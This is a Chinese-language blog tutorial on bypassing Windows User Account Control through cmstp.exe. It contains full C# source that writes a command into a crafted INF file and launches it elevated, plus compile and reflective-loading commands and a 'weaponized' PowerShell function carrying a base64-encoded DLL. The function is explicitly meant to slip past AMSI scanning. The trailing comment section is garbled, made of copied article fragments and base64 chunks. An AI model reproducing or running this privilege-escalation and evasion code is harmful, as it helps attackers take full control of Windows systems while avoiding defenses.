如何绕过新版Windows的UAC机制
一、前言
本文将介绍如何使用PowerShell脚本来绕过UAC,也就是说,我们将使用属于本地管理员的中级完整性级别(Medium Integrity)的进程来生成高级完整性级别(High Integrity)的进程。
二、UAC简介
UAC(User Account Control,用户账户控制)是Windows 7及后续Windows系统引入的一种安全功能,启用该功能后,在用户没有显示允许的情况下,即便是本地管理员账户也无法更改操作系统。我们经常看到桌面用户使用的是管理员账户(虽然不推荐,但这种做法已司空见惯),因此即使恶意软件掌握了本地管理员账户,想修改注册表中的某些信息,或者在系统中创建一个新的服务,UAC也会及时阻止这类行为。
后来研究人员找到了绕过该机制的方法,并且从Windows 7以来已经有许多方法可以绕过UAC。这种情况非常常见,以至于微软将这类问题当成“非优先”安全问题来处理。
为了检查我们的进程是否处于Medium Integrity级别,我们可以运行whoami /priv
命令,检查可用的所有权限:
处于Medium Integrity级别的某个进程如上图所示,可知该进程并没有拥有所有权限。
当我们“以管理员”身份启动命令提示符,再次运行whoami /priv
时,我们可以看到更多的权限信息。
三、如何在较新Windows 版本中绕过 UAC
我在互联网上找了可能影响我自己主机的一些绕过方法,发现Oddvar Moe已经做了比较精彩的研究,可以利用微软的cmstp.exe
来绕过UAC。
进一步阅读Oddvar的相关博客后,我偶然发现了Tyler Applebaum写的PowerShell脚本,也能触发这个漏洞。
在这些知识的帮助下,我决定继续研究这种技术,开发我自己的工具。为了保证工作的原创性,我选择使用C#编写代码,这样我们就能生成带有DLL反射的PowerShell脚本,并且字符数较少,这样AMSI就很难阻止我们的载荷。
我开发的C#代码如下所示:
/*
UAC Bypass using CMSTP.exe microsoft binary
Based on previous work from Oddvar Moe
Research on CMSTP.exe
And this PowerShell script of Tyler Applebaum
https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1
Code author: Andre Marques (@_zc00l)
*/
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Windows;
using System.Runtime.InteropServices;
public class CMSTPBypass
{
// Our .INF file data!
public static string InfData = @"[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection
[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
REPLACE_COMMAND_LINE
taskkill /IM cmstp.exe /F
[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7
[AllUSer_LDIDSection]
""HKLM"", ""SOFTWAREMicrosoftWindowsCurrentVersionApp PathsCMMGR32.EXE"", ""ProfileInstallPath"", ""%UnexpectedError%"", """"
[Strings]
ServiceName=""CorpVPN""
ShortSvcName=""CorpVPN""
";
[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);
public static string BinaryPath = "c:\windows\system32\cmstp.exe";
/* Generates a random named .inf file with command to be executed with UAC privileges */
public static string SetInfFile(string CommandToExecute)
{
string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0];
string TemporaryDir = "C:\windows\temp";
StringBuilder OutputFile = new StringBuilder();
OutputFile.Append(TemporaryDir);
OutputFile.Append("\");
OutputFile.Append(RandomFileName);
OutputFile.Append(".inf");
StringBuilder newInfData = new StringBuilder(InfData);
newInfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
File.WriteAllText(OutputFile.ToString(), newInfData.ToString());
return OutputFile.ToString();
}
public static bool Execute(string CommandToExecute)
{
if(!File.Exists(BinaryPath))
{
Console.WriteLine("Could not find cmstp.exe binary!");
return false;
}
StringBuilder InfFile = new StringBuilder();
InfFile.Append(SetInfFile(CommandToExecute));
Console.WriteLine("Payload file written to " + InfFile.ToString());
ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath);
startInfo.Arguments = "/au " + InfFile.ToString();
startInfo.UseShellExecute = false;
Process.Start(startInfo);
IntPtr windowHandle = new IntPtr();
windowHandle = IntPtr.Zero;
do {
windowHandle = SetWindowActive("cmstp");
} while (windowHandle == IntPtr.Zero);
System.Windows.Forms.SendKeys.SendWait("{ENTER}");
return true;
}
public static IntPtr SetWindowActive(string ProcessName)
{
Process[] target = Process.GetProcessesByName(ProcessName);
if(target.Length == 0) return IntPtr.Zero;
target[0].Refresh();
IntPtr WindowHandle = new IntPtr();
WindowHandle = target[0].MainWindowHandle;
if(WindowHandle == IntPtr.Zero) return IntPtr.Zero;
SetForegroundWindow(WindowHandle);
ShowWindow(WindowHandle, 5);
return WindowHandle;
}
}
将其重命名为Source.cs
,然后在同一个目录下,使用PowerShell运行如下命令编译这段代码:
Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwdSource.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "CMSTP-UAC-Bypass.dll"
结果可以生成一个dll
文件。
为了使用DLL中的绕过代码,我们可以使用如下PowerShell技巧:
PS C:> [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwdCMSTP-UAC-Bypass.dll"))
GAC Version Location
--- ------- --------
False v4.0.30319
PS C:> [CMSTPBypass]::Execute("C:WindowsSystem32cmd.exe")
然后我们就可以看到系统创建了一个高级完整性等级的cmd.exe
!
结果如上图所示,我们从一个非UAC进程中生成了一个管理员级别的进程!
我在Windows 10 build 17134,1803版上测试过这种技术,结果非常顺利。
四、使用PowerShell完成武器化部署
现在我们来实现自动化利用。为了创建PowerShell脚本来利用这种技术,我使用了经常用到了DLL反射技巧,如下所示:
function Bypass-UAC
{
Param(
[Parameter(Mandatory = $true, Position = 0)]
[string]$Command
)
if(-not ([System.Management.Automation.PSTypeName]'CMSTPBypass').Type)
{
[Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNh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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")) | Out-Null
}
[CMSTPBypass]::Execute($Command)
}
这段代码已经足够完成任务。我们可以导入该函数,利用如下方式加以执行,最终生成高权限的进程。
希望大家进一步了解这种技术。获取本地管理员账户后,绕过UAC就成为一个非常重要的步骤。绕过UAC后,我们可以轻松搞定整个系统。
相关文章
- 4条评论
- 萝莉病2022-05-28 10:24:03
- 本中绕过 UAC我在互联网上找了可能影响我自己主机的一些绕过方法,发现Oddvar Moe已经做了比较精彩的研究,可以利用微软的cmstp.exe来绕过UAC。进一步阅读Oddvar的相关博客后,我偶然发现了Tyler Applebaum写的PowerShell脚本,也能触发这个漏洞。在
- 掩吻里予2022-05-28 12:48:23
- AAQAAAAIAAAABAAAAAwAAAAAACgABAAAAAAAGADsANAAGAOgAyAAGAAgByAAGAFYBNwEGAH4BdAEGAJUBNAAGAJoB
- 冢渊寄认2022-05-28 08:47:38
- MSTPBypass]::Execute($Command)}这段代码已经足够完成任务。我们可以导入该函数,利用如下方式加以执行,最终生成高权限的进程。希望大家进一步了解这种技术。获取本地管理员账户后,绕过UAC就成为一个非常重要的步
- 夙世诗呓2022-05-28 13:17:48
- aabxkAAAoLB34UAAAKKBUAAAosBn4UAAAKKgcoAgAABiYHGygBAAAGJgcqVnL3AABwgAEAAARyiAUAcIACAAAEKh4CKBoAAA